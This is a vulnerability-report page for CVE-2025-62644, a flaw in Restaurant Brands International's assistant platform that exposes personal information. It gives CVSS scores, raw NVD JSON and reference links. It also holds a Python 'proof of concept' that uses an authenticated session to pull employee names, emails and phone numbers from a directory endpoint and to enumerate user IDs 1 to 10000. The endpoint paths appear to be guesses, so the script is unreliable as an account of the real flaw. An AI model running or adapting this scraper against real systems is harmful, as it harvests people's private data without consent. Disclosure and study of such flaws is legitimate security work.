Security Vulnerability Report
中文
CVE-2025-62644 CVSS 5.0 MEDIUM

CVE-2025-62644

Published: 2025-10-17 21:15:37
Last Modified: 2025-10-31 18:30:34

Description

The Restaurant Brands International (RBI) assistant platform through 2025-09-06 has a Global Store Directory that shares personal information among authenticated users.

CVSS Details

CVSS Score
5.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:rbi:restaurant_brands_international_assistant:*:*:*:*:*:*:*:* - VULNERABLE
RBI Assistant Platform <= 2025-09-06

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62644 PoC - RBI Assistant Platform Information Disclosure # Vulnerability: Global Store Directory exposes personal information to all authenticated users # Author: Security Researcher import requests # Configuration BASE_URL = "https://[RBI-assistant-platform-domain]" SESSION_COOKIE = "authenticated_session_cookie_here" # Step 1: Authenticate to the RBI assistant platform # (Requires valid low-privilege user credentials) auth_headers = { "Cookie": f"session={SESSION_COOKIE}", "Content-Type": "application/json" } # Step 2: Access the Global Store Directory endpoint # This endpoint returns store information along with associated # employee personal information without proper access control directory_url = f"{BASE_URL}/api/global-store-directory" response = requests.get(directory_url, headers=auth_headers) if response.status_code == 200: data = response.json() # Step 3: Extract personal information of all users # The vulnerability allows any authenticated user to view # PII data of other users through the directory for store in data.get("stores", []): for employee in store.get("employees", []): print(f"Name: {employee.get('name')}") print(f"Email: {employee.get('email')}") print(f"Phone: {employee.get('phone')}") print(f"Position: {employee.get('position')}") print(f"Store: {store.get('name')}") print("---") else: print(f"Access failed: {response.status_code}") # Step 4: Alternative - iterate through user IDs to enumerate for user_id in range(1, 10000): user_url = f"{BASE_URL}/api/users/{user_id}" user_response = requests.get(user_url, headers=auth_headers) if user_response.status_code == 200: user_data = user_response.json() print(f"User {user_id}: {user_data}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62644", "sourceIdentifier": "[email protected]", "published": "2025-10-17T21:15:37.313", "lastModified": "2025-10-31T18:30:33.740", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "The Restaurant Brands International (RBI) assistant platform through 2025-09-06 has a Global Store Directory that shares personal information among authenticated users."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-359"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rbi:restaurant_brands_international_assistant:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025-09-06", "matchCriteriaId": "706D04A1-2EDB-4713-BA47-EFDC8A86FBA3"}]}]}], "references": [{"url": "https://archive.today/fMYQp", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://bobdahacker.com/blog/rbi-hacked-drive-thrus/", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://web.archive.org/web/20250906134240/https:/bobdahacker.com/blog/rbi-hacked-drive-thrus", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://www.malwarebytes.com/blog/news/2025/09/popeyes-tim-hortons-burger-king-platforms-have-catastrophic-vulnerabilities-say-hackers", "source": "[email protected]", "tags": ["Press/Media Coverage", "Third Party Advisory"]}, {"url": "https://www.yahoo.com/news/articles/burger-king-hacked-attackers-impressed-124154038.html", "source": "[email protected]", "tags": ["Press/Media Coverage", "Third Party Advisory"]}]}}